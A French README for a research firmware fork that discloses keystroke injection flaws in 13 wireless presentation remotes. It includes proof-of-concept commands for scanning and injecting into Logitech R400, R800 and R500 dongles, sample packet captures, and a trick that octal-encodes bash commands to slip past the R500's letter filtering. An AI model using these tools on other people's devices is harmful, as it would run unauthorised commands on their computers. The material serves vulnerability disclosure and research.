
Vulnérabilités d’injection de frappes clavier dans les télécommandes de présentation sans fil
J'avais envie de faire un peu de rétro-ingénierie RF, alors j'ai commandé quelques présentateurs sans fil et je me suis bien amusé.
Ceci est un fork de nrf-research-firmware (que j'ai écrit il y a quelques années chez Bastille). J'ai ajouté la prise en charge de quelques nouveaux émetteurs-récepteurs/protocoles, et inclus des POC d'injection de frappes clavier pour 13 présentateurs sans fil courants.
| Vendor | Model | Protocol | RFIC | Added |
|---|---|---|---|---|
| AmazonBasics | P-001 | AmazonBasics P-001 | nRF24 | 2019-04-20 |
| Canon | PR100-R | Canon PR100-R | PL1167 | 2019-04-20 |
| Funpick | Wireless Presenter | HS304 | HS304 | 2019-04-20 |
| AMERTEER | Wireless Presenter | HS304 | HS304 | 2019-04-20 |
| BEBONCOOL | D100 | HS304 | HS304 | 2019-04-20 |
| ESYWEN | Wireless Presenter | HS304 | HS304 | 2019-04-20 |
| Red Star Tech | PR-819 | HS304 | HS304 | 2019-04-20 |
| DinoFire | D06-DF-US | HS304 | HS304 | 2019-04-20 |
| TBBSC | DSIT-60 | TBBSC DSIT-60 | BK2451 | 2019-04-21 |
| Rii | Wireless Presenter | Rii Wireless Presenter | BK2451 | 2019-04-21 |
| Logitech | R400 | Logitech Unencrypted | nRF24 | 2019-04-21 |
| Logitech | R800 | Logitech Unencrypted | nRF24 | 2019-04-21 |
| Logitech | R500 | Logitech Encrypted | nRF24 | 2019-04-21 |
C'est le protocole Logitech chiffré standard, tel qu'utilisé par la R500. Il est en quelque sorte vulnérable à l'attaque par « injection de frappes chiffrées » que j'ai documentée avec les claviers Logitech Unifying dans le cadre du projet MouseJack.
Je dis en quelque sorte, car tous les codes de balayage HID ne sont pas acceptés. Plus précisément, 0x04-0x1D (A-Z) sont remplacés par 0x00 lorsque le dongle envoie le paquet à l'ordinateur hôte, ce qui signifie que nous pouvons injecter ce que nous voulons, tant que ce n'est pas une lettre. L'autre exception est que les accords de touches avec ctrl sont autorisés, même lorsqu'ils incluent des lettres.
Une injection efficace de frappes clavier via la R500 nécessite un peu de créativité.
Supposons que la cible soit dans une session bash. Dans bash, nous pouvons encoder nos caractères en base-8, en encodant les commandes contenant des lettres que nous voulons que notre cible exécute.
Par exemple, ping google.com est encodé comme $'\160\151\156\147' $'\147\157\157\147\154\145\056\143\157\155'. Si nous envoyons cette chaîne à une session bash puis envoyons enter, la commande ping google.com sera invoquée sur la machine cible.
Vous pouvez trouver l'adresse de votre Logitech R500 en utilisant nrf24-scanner comme suit :
sudo ./tools/nrf24-scanner.py -c {2..74..3} -l
Les paquets devraient ressembler à ceci :
[2019-04-21 13:11:52.507] 62 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 13:11:52.515] 62 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 13:11:52.523] 62 22 85:D1:9D:FE:07 00:D3:4D:6F:B6:1B:E6:05:A2:B4:8B:98:F9:C2:00:00:00:00:00:00:00:81
L'injection est possible car le dongle n'impose pas l'incrémentation des compteurs AES, vous pouvez donc rejouer les paquets. Un paquet envoyé OTA est composé d'une charge utile USB HID qui a été chiffrée en mode compteur AES, puis du compteur. Lorsque vous appuyez sur un bouton du présentateur, il génère un paquet de touche enfoncée, et un paquet de touche relâchée. Le paquet de touche relâchée est entièrement composé de 0, ce qui nous donne un matériau de clé propre et net que nous pouvons réutiliser, appliquer un XOR avec notre propre charge utile, et envoyer OTA.
Il ne devrait pas être difficile d'automatiser le processus d'écoute d'une pression de bouton, d'extraction du deuxième paquet (touche relâchée) et de l'utiliser automatiquement comme référence de matériau de clé. Mais je suis paresseux, donc vous devrez d'abord observer vous-même une pression de bouton, qui ressemble à ceci :
[2019-04-21 16:02:56.451] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.459] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.468] 65 22 85:D1:9D:FE:07 00:D3:E6:7B:35:8C:BB:2C:7D:5B:8B:98:FA:76:00:00:00:00:00:00:00:B9
[2019-04-21 16:02:56.475] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.507] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.516] 65 22 85:D1:9D:FE:07 00:D3:99:D6:D3:8D:49:25:F5:4D:8B:98:FA:77:00:00:00:00:00:00:00:1A
[2019-04-21 16:02:56.524] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.532] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
Le deuxième paquet de 22 octets est le paquet de touche relâchée.
Retirez le dernier octet de la charge utile, puis copiez-collez la chaîne dans logitech.py, en remplaçant KEYUP_REF.
(Cela ne devrait pas fonctionner sans mettre à jour KEYUP_REF, mais si ça marche, merci de me le faire savoir !)
Injectez la séquence de frappes ping google.com encodée en base-8 dans un dongle Logitech R500 spécifique (adresse 85:D1:9D:FE:07) :
sudo ./tools/r500-injector.py -l -a 85:D1:9D:FE:07
C'est le protocole Logitech non chiffré standard, utilisé par les R400/R800.
Vous pouvez trouver l'adresse de votre Logitech R400/R800 en utilisant nrf24-scanner comme suit :
sudo ./tools/nrf24-scanner.py -c {2..74..3} -l
Les paquets devraient ressembler à ceci :
[2019-04-21 12:58:43.466] 32 0 9D:9E:95:52:07
[2019-04-21 12:58:43.620] 32 10 9D:9E:95:52:07 00:C1:00:00:00:00:00:00:00:3F
Injectez la séquence de frappes de test dans un dongle Logitech R400/R800 spécifique (adresse 9D:9E:95:52:07) :
sudo ./tools/preso-injector.py -l -f logitech -a 9D:9E:95:52:07
Le Rii Wireless Presenter (stylo arrondi) est basé sur le BK2451 (qui semble être un clone du nRF24). Cela ressemble à un protocole générique, vu la prévalence d'appareils jumeaux, donc je vais probablement le reclasser après avoir obtenu plus de données.
Il s'agit fonctionnellement d'un clavier sans fil non chiffré, vulnérable à l'injection de frappes clavier.